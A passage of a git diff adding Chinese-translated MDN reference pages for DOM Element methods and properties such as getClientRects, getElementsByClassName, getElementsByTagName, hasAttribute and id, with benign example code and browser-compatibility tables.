起初,微软打算让这个方法给文本的每一行都返回一个TextRectangle,但是,CSSOM工作草案规定它应该给每个边框返回一个ClientRect。因此,对于行内元素这两个定义是相同的,但是对于块级元素,Mozilla只会返回一个矩形。(译者注:对于行内元素,元素内部的每一行都会有一个边框;对于块级元素,如果里面没有其他元素,一整块元素只有一个边框)。

+ +

{{ fx_minversion_note(3.5, "FireFox 3.5给TextRectangle对象添加了width和height属性") }}

+ +

当计算边界矩形时,会考虑视口区域(或其他可滚动元素)内的滚动操作。

+ +

返回的矩形不包括任何可能超出元素范围的子元素的边界。

+ +

对于HTML AREA元素、自身不做任何渲染的SVG元素、display:none元素和不直接渲染出来的任何元素,都将会返回一个空列表。

+ +

具有空边框的CSS盒子也会返回矩形,此时left、top、right和bottom坐标仍旧有意义。

+ +

小数级别的像素偏移是有可能的。

+ +

示例

+ +

These examples draw client rects in various colors. Note that the JavaScript function that paints the client rects is connected to the markup via the class withClientRectsOverlay.

+ +

HTML

+ +

.举例1:HTML创建了三段带有 <span> 的段落 <p> 并放入 <div> 中。在第二个段落 <p> 上绘制了客户矩形。在第三个段落 <p><span> 元素上绘制了客户矩形。

+ +
<h3>A paragraph with a span inside</h3>
+<p>Both the span and the paragraph have a border set. The
+  client rects are in red. Note that the p has onlyone border
+  box, while the span has multiple border boxes.</p>
+
+<div>
+  <strong>Original</strong>
+  <p>
+    <span>Paragraph that spans multiple lines</span>
+  </p>
+</div>
+
+<div>
+  <strong>p's rect</strong>
+  <p class="withClientRectsOverlay">
+    <span>Paragraph that spans multiple lines</span>
+  </p>
+</div>
+
+<div>
+  <strong>span's rect</strong>
+  <p>
+    <span class="withClientRectsOverlay">Paragraph that spans multiple lines</span>
+  </p>
+</div>
+ +

Example 2: 举例2:HTML 创建了3个有序列表。在第二个列表的 ol 上绘制了客户矩形,在第三个列表的 li 上绘制了客户矩形。

+ +
<h3>A list</h3>
+<p>Note that the border box doesn't include the number, so neither do the client rects.</p>
+
+<div>
+ <strong>Original</strong>
+ <ol>
+  <li>Item 1</li>
+  <li>Item 2</li>
+ </ol>
+</diV>
+
+<div>
+ <strong>ol's rect</strong>
+ <ol class="withClientRectsOverlay">
+  <li>Item 1</li>
+  <li>Item 2</li>
+ </ol>
+</div>
+
+<div>
+ <strong>each li's rect</strong>
+ <ol>
+  <li class="withClientRectsOverlay">Item 1</li>
+  <li class="withClientRectsOverlay">Item 2</li>
+ </ol>
+</div>
+ +

举例3:HTML 创建了两个带有标题的表。第二个表上绘制了客户矩形。

+ +
<h3>A table with a caption</h3>
+<p>Although the table's border box doesn't include the caption, the client rects do include the caption.</p>
+
+<div>
+ <strong>Original</strong>
+ <table>
+  <caption>caption</caption>
+  <thead>
+    <tr><th>thead</th></tr>
+  </thead>
+  <tbody>
+    <tr><td>tbody</td></tr>
+  </tbody>
+ </table>
+</div>
+
+<div>
+ <strong>table's rect</strong>
+ <table class="withClientRectsOverlay">
+  <caption>caption</caption>
+  <thead>
+    <tr><th>thead</th></tr>
+  </thead>
+  <tbody>
+    <tr><td>tbody</td></tr>
+  </tbody>
+ </table>
+</div>
+ +

CSS

+ +

使用 CSS 给第一举例的每个 div 内部的段落和 span、第二个举例的 ol 和 li 周围、第三个举例 的 table/th/td 元素周围绘制了边框。

+ +
strong {
+  text-align: center;
+}
+div {
+  display: inline-block;
+  width: 150px;
+}
+div p, ol, table {
+  border: 1px solid blue;
+}
+span, li, th, td {
+  border: 1px solid green;
+}
+ +

JavaScript

+ +

JavaScript 代码为所有带有“widthClientRectsOverlay”样式的元素绘制了ClientRects。

+ +
function addClientRectsOverlay(elt) {
+    // 为了使边框宽度与矩形宽度一致,这里给每个客户矩形上方绝对定位一个 div。
+    // 注意:如果用户改变大小或者缩放,绘图将会重绘。
+
+    var rects = elt.getClientRects();
+    for (var i = 0; i != rects.length; i++) {
+        var rect = rects[i];
+        var tableRectDiv = document.createElement('div');
+        tableRectDiv.style.position = 'absolute';
+        tableRectDiv.style.border = '1px solid red';
+        var scrollTop = document.documentElement.scrollTop || document.body.scrollTop;
+        var scrollLeft = document.documentElement.scrollLeft || document.body.scrollLeft;
+        tableRectDiv.style.margin = tableRectDiv.style.padding = '0';
+        tableRectDiv.style.top = (rect.top + scrollTop) + 'px';
+        tableRectDiv.style.left = (rect.left + scrollLeft) + 'px';
+        // 我们希望 rect.width 作为边框宽度,所以内容宽度减少 2px
+
+        tableRectDiv.style.width = (rect.width - 2) + 'px';
+        tableRectDiv.style.height = (rect.height - 2) + 'px';
+        document.body.appendChild(tableRectDiv);
+    }
+}
+
+(function() {
+  /* 将所有具有 "widthClientRectsOverlay" 样式的元素依次传入函数 addClientRectsOverlay(elt) */
+  var elt = document.getElementsByClassName('withClientRectsOverlay');
+  for (var i = 0; i < elt.length; i++) {
+    addClientRectsOverlay(elt[i]);
+  }
+})();
+ +

结果

+ +

{{ EmbedLiveSample('Element_getClientRects_sample', 680, 650) }}

+ +

规范

+ + + + + + + + + + + + + + + + +
规范状态备注
{{SpecName("CSSOM View", "#dom-element-getclientrects", "Element.getClientRects()")}}{{Spec2("CSSOM View")}}Initial definition
+ +

规范

+ +

CSSOM Views: The getClientRects() and getBoundingClientRect() methods

+ +

备注

+ +

getClientRects() 在 MS IE DHTML 对象模型中首次引入。

+ +

浏览器兼容

+ + + +

{{Compat("api.Element.getClientRects")}}

+ +

参见

+ + diff --git a/files/zh-cn/web/api/element/getelementsbyclassname/index.html b/files/zh-cn/web/api/element/getelementsbyclassname/index.html new file mode 100644 index 0000000000..e8a2047b45 --- /dev/null +++ b/files/zh-cn/web/api/element/getelementsbyclassname/index.html @@ -0,0 +1,89 @@ +--- +title: Element.getElementsByClassName() +slug: Web/API/Element/getElementsByClassName +translation_of: Web/API/Element/getElementsByClassName +--- +

{{APIRef}}

+

Element.getElementsByClassName() 方法返回一个即时更新的(live) {{domxref("HTMLCollection")}},包含了所有拥有指定 class 的子元素。当在 document 对象上调用此方法时,会检索整个文档,包括根元素。

+

相似地,{{domxref("Document.getElementsByClassName", "getElementsByClassName()")}} 方法会在整个文档上执行;它返回指定拥有指定 class 名称的 document 根节点的后代元素。

+

语法

+
var elements = element.getElementsByClassName(names);
+ +

例子

+

获取所有包含class名称为 test 的元素:

+
element.getElementsByClassName('test');
+

获取所有包含 redtest class名的元素:

+
element.getElementsByClassName('red test');
+

获取 idmain 的元素的所有包含一个 test class名的后代元素:

+
document.getElementById('main').getElementsByClassName('test');
+

可以在任何 {{domxref("HTMLCollection")}} 上面使用 {{jsxref("Array.prototype")}} 的方法,要把 HTMLCollection 作为该方法的上下文对象(this)。下例,查找类名为 test 的元素中的所有 {{HTMLElement("div")}} 元素:

+
var testElements = document.getElementsByClassName('test');
+var testDivs = Array.prototype.filter.call(testElements, function(testElement){
+    return testElement.nodeName === 'div';
+});
+

规范

+ + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('DOM WHATWG', '#dom-element-getelementsbyclassname', 'Element.getElementsByClassName()')}}{{Spec2('DOM WHATWG')}}Initial definition
+

浏览器兼容性

+

{{ CompatibilityTable() }}

+
+ + + + + + + + + + + + + + + + + + + +
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari
Basic support{{ CompatVersionUnknown() }}{{ CompatVersionUnknown() }} [1]{{ CompatVersionUnknown() }}{{ CompatVersionUnknown() }}{{ CompatVersionUnknown() }}
+
+
+ + + + + + + + + + + + + + + + + + + +
FeatureAndroidFirefox Mobile (Gecko)IE MobileOpera MobileSafari Mobile
Basic support{{ CompatUnknown() }}{{ CompatUnknown() }} [1]{{ CompatUnknown() }}{{ CompatUnknown() }}{{ CompatUnknown() }}
+
+

[1] Prior to Firefox 19, this method was returning a {{domxref("NodeList")}}; it was then changed to reflects the change in the spec.

diff --git a/files/zh-cn/web/api/element/getelementsbytagname/index.html b/files/zh-cn/web/api/element/getelementsbytagname/index.html new file mode 100644 index 0000000000..5f12087f21 --- /dev/null +++ b/files/zh-cn/web/api/element/getelementsbytagname/index.html @@ -0,0 +1,133 @@ +--- +title: element.getElementsByTagName +slug: Web/API/Element/getElementsByTagName +tags: + - API + - DOM + - 节点 +translation_of: Web/API/Element/getElementsByTagName +--- +

{{ APIRef("DOM") }}

+ +

Element.getElementsByTagName() 方法返回一个动态的包含所有指定标签名的元素的HTML集合{{domxref("HTMLCollection")}}。指定的元素的子树会被搜索,不包括元素自己。返回的列表是动态的,这意味着它会随着DOM树的变化自动更新自身。所以,使用相同元素和相同参数时,没有必要多次的调用Element.getElementsByTagName() .

+ +

如果是HTML文档中的某个元素调用了getElementsByTagName函数, 运行前会将参数转为小写字母形式。故不建议在驼峰式命名的SVG元素中使用。 {{ domxref("Element.getElementsByTagNameNS()") }} 适用于那种情况.

+ +

Element.getElementsByTagName 和 {{domxref("Document.getElementsByTagName()")}}类似,除了它的搜索被限制为指定元素的后代。

+ +

语法

+ +
elements = element.getElementsByTagName(tagName)
+ + + +

实例

+ +
// check the alignment on a number of cells in a table.
+var table = document.getElementById("forecast-table");
+var cells = table.getElementsByTagName("td");
+for (var i = 0; i < cells.length; i++) {
+    var status = cells[i].getAttribute("data-status");
+    if ( status == "open" ) {
+        // grab the data
+    }
+}
+
+ +

参考

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('DOM WHATWG', '#dom-element-getelementsbytagname', 'Element.getElementsByTagName()')}}{{Spec2('DOM WHATWG')}}Changed the return value from {{domxref("NodeList")}} to {{domxref("HTMLCollection")}}
{{SpecName('DOM3 Core', 'core.html#ID-1938918D', 'Element.getElementsByTagName()')}}{{Spec2('DOM3 Core')}}No change from {{SpecName('DOM2 Core')}}
{{SpecName('DOM2 Core', 'core.html#ID-1938918D', 'Element.getElementsByTagName()')}}{{Spec2('DOM2 Core')}}No change from {{SpecName('DOM1')}}
{{SpecName('DOM1', 'level-one-core.html#ID-1938918D', 'Element.getElementsByTagName()')}}{{Spec2('DOM1')}}Initial definition
+ +

浏览器兼容性

+ +

{{ CompatibilityTable() }}

+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + +
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari (WebKit)
Basic support1.0 [2]{{ CompatVersionUnknown() }} [1]5.5{{ CompatVersionUnknown() }} [2]{{ CompatVersionUnknown() }} [2]
getElementsByTagName("*")1.0{{ CompatVersionUnknown() }}6.0{{ CompatVersionUnknown() }}{{ CompatVersionUnknown() }}
+
+ +
+ + + + + + + + + + + + + + + + + + + +
FeatureAndroidFirefox Mobile (Gecko)IE PhoneOpera MobileSafari Mobile
Basic support{{ CompatVersionUnknown() }}{{ CompatVersionUnknown() }} [1]{{ CompatVersionUnknown() }}{{ CompatVersionUnknown() }}{{ CompatVersionUnknown() }}
+
+ +

[1] Firefox 19之前的版本,该方法会返回一个 {{domxref("NodeList")}};之后根据规范进行了改变。

+ +

[2] 最初,该方法会返回一个{{domxref("NodeList")}};之后根据规范进行了改变。

diff --git a/files/zh-cn/web/api/element/getelementsbytagnamens/index.html b/files/zh-cn/web/api/element/getelementsbytagnamens/index.html new file mode 100644 index 0000000000..fdb01aef9f --- /dev/null +++ b/files/zh-cn/web/api/element/getelementsbytagnamens/index.html @@ -0,0 +1,128 @@ +--- +title: Element.getElementsByTagNameNS() +slug: Web/API/Element/getElementsByTagNameNS +translation_of: Web/API/Element/getElementsByTagNameNS +--- +
{{APIRef("DOM")}}
+ +

Element.getElementsByTagNameNS() 方法返回在指定命名空间内带有指定名称的动态HTML元素集合(而不是快照),搜索范围限定于指定元素的后代,类似于{{Domxref("Document.getElementsByTagNameNS")}}。

+ +

语法

+ +
elements = element.getElementsByTagNameNS(namespaceURI, localName)
+ + + +

示例

+ +
// 检查一个XHTML文档中表格的单元格的对齐方式。
+var table = document.getElementById("forecast-table");
+var cells = table.getElementsByTagNameNS("http://www.w3.org/1999/xhtml", "td");
+
+for (var i = 0; i < cells.length; i++) {
+    var axis = cells[i].getAttribute("axis");
+    if (axis == "year") {
+        // grab the data
+    }
+}
+ +

规范

+ + + + + + + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('DOM WHATWG', '#dom-element-getelementsbytagnamens', 'Element.getElementsByTagNameNS()')}}{{Spec2('DOM WHATWG')}}Changed the return value from {{domxref("NodeList")}} to {{domxref("HTMLCollection")}}.
{{SpecName('DOM3 Core', 'core.html#ID-A6C90942', 'Element.getElementsByTagNameNS()')}}{{Spec2('DOM3 Core')}}No change from {{SpecName('DOM2 Core')}}.
{{SpecName('DOM2 Core', 'core.html#ID-A6C90942', 'Element.getElementsByTagNameNS()')}}{{Spec2('DOM2 Core')}}Initial definition
+ +

浏览器兼容性

+ +

{{CompatibilityTable}}

+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
FeatureChromeEdgeFirefox (Gecko)Internet ExplorerOperaSafari (WebKit)
Basic support1.0[1]{{CompatVersionUnknown}}{{CompatVersionUnknown}}[2]5.5{{CompatVersionUnknown}}[1]{{CompatVersionUnknown}}[1]
getElementsByTagName("*")1.0{{CompatVersionUnknown}}{{CompatVersionUnknown}}6.0{{CompatVersionUnknown}}{{CompatVersionUnknown}}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + +
FeatureAndroidEdgeFirefox Mobile (Gecko)IE PhoneOpera MobileSafari Mobile
Basic support{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}[2]{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}
+
+ +

[1] Initially, this method was returning a {{domxref("NodeList")}}; it was then changed to reflects the spec change.

+ +

[2] The behavior of element.getElementsByTagNameNS changed between Firefox 3.5 and Firefox 3.6. In Firefox 3.5 and before, this function would automatically case-fold any queries so that a search for "foo" would match "Foo" or "foo". In Firefox 3.6 and later this function is now case-sensitive so that a query for "foo" will only match "foo" and not "Foo". For more background on this, please see the comment from Henri Sivonen about the change. You can also look at the relevant part of the standard, which states which parts of the API are case-sensitive and which parts aren't.

+ +

Prior to Firefox 19, this method was returning a {{domxref("NodeList")}}; it was then changed to reflects the spec change.

diff --git a/files/zh-cn/web/api/element/hasattribute/index.html b/files/zh-cn/web/api/element/hasattribute/index.html new file mode 100644 index 0000000000..7d5a72f87c --- /dev/null +++ b/files/zh-cn/web/api/element/hasattribute/index.html @@ -0,0 +1,31 @@ +--- +title: Element.hasAttribute() +slug: Web/API/Element/hasAttribute +translation_of: Web/API/Element/hasAttribute +--- +
+ {{APIRef}}
+

概述

+

hasAttribute 返回一个布尔值,指示该元素是否包含有指定的属性(attribute)。

+

语法

+
var result = element.hasAttribute(attName);
+
+ +

例子

+
// 在为属性设置新值前检测该属性是否存在
+var d = document.getElementById("div1");
+
+if (d.hasAttribute("align")) {
+  d.setAttribute("align", "center");
+}
+

备注

+
+ {{DOMAttributeMethods}}
+

规范

+ diff --git a/files/zh-cn/web/api/element/hasattributens/index.html b/files/zh-cn/web/api/element/hasattributens/index.html new file mode 100644 index 0000000000..31adc64e89 --- /dev/null +++ b/files/zh-cn/web/api/element/hasattributens/index.html @@ -0,0 +1,47 @@ +--- +title: Element.hasAttributeNS() +slug: Web/API/Element/hasAttributeNS +tags: + - API + - 元素 + - 属性 + - 方法 +translation_of: Web/API/Element/hasAttributeNS +--- +

{{ APIRef("DOM") }}

+ +

概述

+ +

hasAttributeNS 返回一个布尔值,指示该元素是否包含有指定的属性(attribute)。

+ +

语法

+ +
result =element.hasAttributeNS(namespace,localName)
+
+ + + +

例子

+ +
// 在为属性设置值之前检测该属性是否存在
+var d = document.getElementById("div1");
+if (d.hasAttributeNS(
+        "http://www.mozilla.org/ns/specialspace/",
+        "special-align")) {
+   d.setAttribute("align", "center");
+}
+
+ +

备注

+ +

该方法与hasAttribute类似,只是要检查的属性由命名空间和名称指定。只有使用命名空间的 XML 文档才使用方法

+ +

{{ DOMAttributeMethods() }}

+ +

规范

+ +

DOM Level 2 Core: hasAttributeNS

diff --git a/files/zh-cn/web/api/element/hasattributes/index.html b/files/zh-cn/web/api/element/hasattributes/index.html new file mode 100644 index 0000000000..bb4b6b2256 --- /dev/null +++ b/files/zh-cn/web/api/element/hasattributes/index.html @@ -0,0 +1,23 @@ +--- +title: Node.hasAttributes +slug: Web/API/Element/hasAttributes +translation_of: Web/API/Element/hasAttributes +--- +
+ {{ApiRef}}
+
+ {{ obsolete_header(22) }}
+

概述

+

hasAttributes属性返回一个布尔值truefalse,来表明当前元素节点是否有至少一个的属性(attribute).

+

语法

+
result = targetNode.hasAttributes();
+

示例

+
var t1 = document.getElementById("table-data");
+
+if ( t1.hasAttributes() ) {
+  // 可以用t1.attributes来读取该元素的所有属性
+}
+

规范

+ diff --git a/files/zh-cn/web/api/element/id/index.html b/files/zh-cn/web/api/element/id/index.html new file mode 100644 index 0000000000..7bebb2d2eb --- /dev/null +++ b/files/zh-cn/web/api/element/id/index.html @@ -0,0 +1,73 @@ +--- +title: Element.id +slug: Web/API/Element/id +tags: + - API + - DOM + - 元素 + - 参考 + - 属性 +translation_of: Web/API/Element/id +--- +
{{ ApiRef("DOM") }}
+ +

{{domxref("Element")}} 接口的 id 属性表示元素的标识符,与全局属性 id 对应。

+ +

同一文档中,若 id 的值不是空字符串 "",便必须是独特的;也就是说,不同元素的 ID 必须是不同的。

+ +

这有助于让常用的 {{domxref("document.getElementById", "getElementById")}} 方法通过 id 的值找到对应的单个元素。另外,在 CSS 中,ID 可作为选择器使用,详见:ID 选择器

+ +
+

注意:虽然 ID 是区分大小写的, 但是不应该同时使用仅大小写有不同的 ID  值。

+
+ +

语法

+ +
var idStr = element.id; // Get the id
+element.id = idStr; // Set the id
+
+ + + +

规范

+ + + + + + + + + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('DOM WHATWG', '#dom-element-id', 'id')}}{{Spec2('DOM WHATWG')}}No change from {{SpecName('DOM2 HTML')}}.
{{SpecName('DOM2 HTML', 'html.html#ID-63534901', 'id')}}{{Spec2('DOM2 HTML')}}No change from {{SpecName('DOM1')}}.
{{SpecName('DOM1', 'level-one-html.html#ID-63534901', 'id')}}{{Spec2('DOM1')}}Initial definition.
+ +

浏览器兼容性

+ + + +

{{Compat("api.Element.id")}}

+ +

参见

+ + diff --git a/files/zh-cn/web/api/element/index.html b/files/zh-cn/web/api/element/index.html new file mode 100644 index 0000000000..4fa0547838 --- /dev/null +++ b/files/zh-cn/web/api/element/index.html @@ -0,0 +1,488 @@ +--- +title: Element +slug: Web/API/Element +tags: + - API + - DOM + - DOM参考 + - Element + - 元素 + - 参考 + - 接口 +translation_of: Web/API/Element +--- +

{{APIRef("DOM")}}

+ +

Element 是一个通用性非常强的基类,所有 {{DOMxRef("Document")}} 对象下的对象都继承自它。这个接口描述了所有相同种类的元素所普遍具有的方法和属性。一些接口继承自 Element 并且增加了一些额外功能的接口描述了具体的行为。例如, {{DOMxRef("HTMLElement")}} 接口是所有 HTML 元素的基本接口,而 {{DOMxRef("SVGElement")}} 接口是所有 SVG 元素的基础。大多数功能是在这个类的更深层级(hierarchy)的接口中被进一步制定的。

+ +

在 Web 平台的领域以外的语言,比如 XUL,通过 XULElement 接口,同样也实现了 Element 接口。

+ +

{{InheritanceDiagram}}

+ +

属性

+ +

所有属性继承自它的祖先接口 {{DOMxRef("Node")}},并且扩展了 {{DOMxRef("Node")}} 的父接口 {{DOMxRef("EventTarget")}},并且从以下部分继承了属性:{{DOMxRef("ParentNode")}}、{{DOMxRef("ChildNode")}}、{{DOMxRef("NonDocumentTypeChildNode")}},和 {{DOMxRef("Animatable")}}。

+ +
+
{{DOMxRef("Element.attributes")}} {{readOnlyInline}}
+
返回一个与该元素相关的所有属性集合 {{DOMxRef("NamedNodeMap")}}。
+
{{DOMxRef("Element.classList")}} {{readOnlyInline}}
+
返回该元素包含的 class 属性,是一个 {{DOMxRef("DOMTokenList")}}。
+
{{DOMxRef("Element.className")}}
+
一个 {{DOMxRef("DOMString")}},表示这个元素的 class。
+
{{DOMxRef("Element.clientHeight")}} {{readOnlyInline}}
+
返回{{jsxref("Number")}} 表示内部相对于外层元素的高度。
+
{{DOMxRef("Element.clientLeft")}} {{readOnlyInline}}
+
返回{{jsxref("Number")}}表示该元素距离它左边界的宽度。
+
{{DOMxRef("Element.clientTop")}} {{readOnlyInline}}
+
返回 {{jsxref("Number")}} 表示该元素距离它上边界的高度。
+
{{DOMxRef("Element.clientWidth")}} {{readOnlyInline}}
+
返回{{jsxref("Number")}} 表示该元素内部的宽度。
+
{{DOMxRef("Element.computedName")}} {{readOnlyInline}}
+
Returns a {{DOMxRef("DOMString")}} containing the label exposed to accessibility.
+
{{DOMxRef("Element.computedRole")}} {{readOnlyInline}}
+
Returns a {{DOMxRef("DOMString")}} containing the ARIA role that has been applied to a particular element.
+
{{DOMxRef("Element.id")}}
+
是一个{{DOMxRef("DOMString")}} 表示这个元素的id。
+
{{DOMxRef("Element.innerHTML")}}
+
是一个{{DOMxRef("DOMString")}} 表示这个元素的内容文本。
+
{{DOMxRef("Element.localName")}} {{readOnlyInline}}
+
是一个 {{DOMxRef("DOMString")}} 表示这个元素名称本地化的部分。
+
{{DOMxRef("Element.namespaceURI")}} {{readonlyInline}}
+
元素对应的 namespace URI ,如果没有则返回 null +
+

Note: In Firefox 3.5 and earlier, HTML elements are in no namespace. In later versions, HTML elements are in the http://www.w3.org/1999/xhtml namespace in both HTML and XML trees. {{ gecko_minversion_inline("1.9.2")}}

+
+
+
{{DOMxRef("NonDocumentTypeChildNode.nextElementSibling")}} {{readOnlyInline}}
+
是一个{{DOMxRef("Element")}}, 该元素下一个兄弟节点, 如果为null表示不存在..
+
{{DOMxRef("Element.outerHTML")}}
+
是一个 {{DOMxRef("DOMString")}},获取该DOM元素及其后代的HTML文本。在设置它的时候,会从给定的字符串开始解析,替换自身。
+
{{DOMxRef("Element.prefix")}} {{readOnlyInline}}
+
A {{DOMxRef("DOMString")}} representing the namespace prefix of the element, or null if no prefix is specified.
+
{{DOMxRef("NonDocumentTypeChildNode.previousElementSibling")}} {{readOnlyInline}}
+
是一个 {{DOMxRef("Element")}}, 该元素上一个兄弟节点, 如果为null表示不存在..
+
{{DOMxRef("Element.scrollHeight")}} {{readOnlyInline}}
+
返回类型为: {{jsxref("Number")}},表示元素的滚动视图高度。
+
{{DOMxRef("Element.scrollLeft")}}
+
返回类型为:{{jsxref("Number")}},表示该元素横向滚动条距离最左的位移.
+
{{DOMxRef("Element.scrollLeftMax")}} {{Non-standard_Inline}} {{readOnlyInline}}
+
返回类型为: {{jsxref("Number")}},表示该元素横向滚动条可移动的最大值
+
{{DOMxRef("Element.scrollTop")}}
+
返回类型为:{{jsxref("Number")}} ,表示该元素纵向滚动条距离
+
{{DOMxRef("Element.scrollTopMax")}} {{Non-standard_Inline}} {{readOnlyInline}}
+
返回类型为:{{jsxref("Number")}} ,表示该元素纵向滚动条可移动的最大值
+
{{DOMxRef("Element.scrollWidth")}} {{readOnlyInline}}
+
返回类型为: {{jsxref("Number")}} ,表示元素的滚动视图宽度。
+
{{DOMxRef("Element.shadowRoot")}}{{readOnlyInline}}
+
Returns the open shadow root that is hosted by the element, or null if no open shadow root is present.
+
{{DOMxRef("Element.openOrClosedShadowRoot")}} {{Non-standard_Inline}}{{readOnlyInline}}
+
Returns the shadow root that is hosted by the element, regardless if its open or closed. Available only to WebExtensions.
+
{{DOMxRef("Element.slot")}} {{Experimental_Inline}}
+
Returns the name of the shadow DOM slot the element is inserted in.
+
{{DOMxRef("Element.tabStop")}} {{Non-standard_Inline}}
+
Is a {{jsxref("Boolean")}} indicating if the element can receive input focus via the tab key.
+
{{DOMxRef("Element.tagName")}} {{readOnlyInline}}
+
Returns a {{jsxref("String")}} with the name of the tag for the given element.
+
{{DOMxRef("Element.undoManager")}} {{Experimental_Inline}} {{readOnlyInline}}
+
Returns the {{DOMxRef("UndoManager")}} associated with the element.
+
{{DOMxRef("Element.undoScope")}} {{Experimental_Inline}}
+
Is a {{jsxref("Boolean")}} indicating if the element is an undo scope host, or not.
+
+ +
+

Note: DOM Level 3 defined namespaceURI, localName and prefix on the {{DOMxRef("Node")}} interface. In DOM4 they were moved to Element.

+ +

This change is implemented in Chrome since version 46.0 and Firefox since version 48.0.

+
+ +

Properties included from Slotable

+ +

The Element interface includes the following property, defined on the {{DOMxRef("Slotable")}} mixin.

+ +
+
{{DOMxRef("Slotable.assignedSlot")}}{{readonlyInline}}
+
Returns a {{DOMxRef("HTMLSlotElement")}} representing the {{htmlelement("slot")}} the node is inserted in.
+
+ +

事件句柄

+ +
+
{{domxref("Element.onfullscreenchange")}}
+
事件 {{event("fullscreenchange")}} 的回调方法, 在元素进入或退出全屏模式时触发. 不仅可用于观察(监听)可预期的过度变化,还可以观察(监听)未知的变化,如:当你的应用程序在后台运行。
+
{{domxref("Element.onfullscreenerror")}}
+
事件 {{event("fullscreenerror")}} 的回调方法, 在进入全屏模式过程中出现错误时触发.
+
+ +

方法

+ +

Inherits methods from its parents {{DOMxRef("Node")}}, and its own parent, {{DOMxRef("EventTarget")}}, and implements those of {{DOMxRef("ParentNode")}}, {{DOMxRef("ChildNode")}}, {{DOMxRef("NonDocumentTypeChildNode")}}, and {{DOMxRef("Animatable")}}.

+ +
+
{{DOMxRef("EventTarget.addEventListener()")}}
+
Registers an event handler to a specific event type on the element.
+
{{DOMxRef("Element.attachShadow()")}}
+
Attatches a shadow DOM tree to the specified element and returns a reference to its {{DOMxRef("ShadowRoot")}}.
+
{{DOMxRef("Element.animate()")}} {{Experimental_Inline}}
+
A shortcut method to create and run an animation on an element. Returns the created Animation object instance.
+
{{DOMxRef("Element.closest()")}} {{Experimental_Inline}}
+
Returns the {{DOMxRef("Element")}} which is the closest ancestor of the current element (or the current element itself) which matches the selectors given in parameter.
+
{{DOMxRef("Element.createShadowRoot()")}} {{Non-standard_Inline}} {{Deprecated_Inline}}
+
Creates a shadow DOM on on the element, turning it into a shadow host. Returns a {{DOMxRef("ShadowRoot")}}.
+
{{DOMxRef("Element.computedStyleMap()")}} {{Experimental_Inline}}
+
Returns a {{DOMxRef("StylePropertyMapReadOnly")}} interface which provides a read-only representation of a CSS declaration block that is an alternative to {{DOMxRef("CSSStyleDeclaration")}}.
+
{{DOMxRef("EventTarget.dispatchEvent()")}}
+
Dispatches an event to this node in the DOM and returns a {{jsxref("Boolean")}} that indicates whether no handler canceled the event.
+
{{DOMxRef("Element.getAnimations()")}} {{Experimental_Inline}}
+
Returns an array of Animation objects currently active on the element.
+
{{DOMxRef("Element.getAttribute()")}}
+
Retrieves the value of the named attribute from the current node and returns it as an {{jsxref("Object")}}.
+
{{DOMxRef("Element.getAttributeNames()")}}
+
Returns an array of attribute names from the current element.
+
{{DOMxRef("Element.getAttributeNS()")}}
+
Retrieves the value of the attribute with the specified name and namespace, from the current node and returns it as an {{jsxref("Object")}}.
+
{{DOMxRef("Element.getAttributeNode()")}} {{Obsolete_Inline}}
+
Retrieves the node representation of the named attribute from the current node and returns it as an {{DOMxRef("Attr")}}.
+
{{DOMxRef("Element.getAttributeNodeNS()")}} {{Obsolete_Inline}}
+
Retrieves the node representation of the attribute with the specified name and namespace, from the current node and returns it as an {{DOMxRef("Attr")}}.
+
{{DOMxRef("Element.getBoundingClientRect()")}}
+
返回元素的大小及其相对于视口的位置。
+
{{DOMxRef("Element.getClientRects()")}}
+
Returns a collection of rectangles that indicate the bounding rectangles for each line of text in a client.
+
{{DOMxRef("Element.getElementsByClassName()")}}
+
参数中给出类的列表,返回一个动态的 {{DOMxRef("HTMLCollection")}} ,包含了所有持有这些类的后代元素。
+
{{DOMxRef("Element.getElementsByTagName()")}}
+
Returns a live {{DOMxRef("HTMLCollection")}} containing all descendant elements, of a particular tag name, from the current element.
+
{{DOMxRef("Element.getElementsByTagNameNS()")}}
+
Returns a live {{DOMxRef("HTMLCollection")}} containing all descendant elements, of a particular tag name and namespace, from the current element.
+
{{DOMxRef("Element.hasAttribute()")}}
+
Returns a {{jsxref("Boolean")}} indicating if the element has the specified attribute or not.
+
{{DOMxRef("Element.hasAttributeNS()")}}
+
Returns a {{jsxref("Boolean")}} indicating if the element has the specified attribute, in the specified namespace, or not.
+
{{DOMxRef("Element.hasAttributes()")}}
+
Returns a {{jsxref("Boolean")}} indicating if the element has one or more HTML attributes present.
+
{{DOMxRef("Element.hasPointerCapture()")}}
+
Indicates whether the element on which it is invoked has pointer capture for the pointer identified by the given pointer ID.
+
{{DOMxRef("Element.insertAdjacentElement()")}}
+
Inserts a given element node at a given position relative to the element it is invoked upon.
+
{{DOMxRef("Element.insertAdjacentHTML()")}}
+
Parses the text as HTML or XML and inserts the resulting nodes into the tree in the position given.
+
{{DOMxRef("Element.insertAdjacentText()")}}
+
Inserts a given text node at a given position relative to the element it is invoked upon.
+
{{DOMxRef("Element.matches()")}} {{Experimental_Inline}}
+
Returns a {{jsxref("Boolean")}} indicating whether or not the element would be selected by the specified selector string.
+
{{DOMxRef("Element.pseudo()")}} {{Experimental_Inline}}
+
Returns a {{DOMxRef("CSSPseudoElement")}} representing the child pseudo-element matched by the specified pseudo-element selector.
+
{{DOMxRef("Element.querySelector()")}}
+
Returns the first {{DOMxRef("Node")}} which matches the specified selector string relative to the element.
+
{{DOMxRef("Element.querySelectorAll()")}}
+
Returns a {{DOMxRef("NodeList")}} of nodes which match the specified selector string relative to the element.
+
{{DOMxRef("Element.releasePointerCapture()")}}
+
Releases (stops) pointer capture that was previously set for a specific {{DOMxRef("PointerEvent","pointer event")}}.
+
{{DOMxRef("ChildNode.remove()")}} {{Experimental_Inline}}
+
Removes the element from the children list of its parent.
+
{{DOMxRef("Element.removeAttribute()")}}
+
Removes the named attribute from the current node.
+
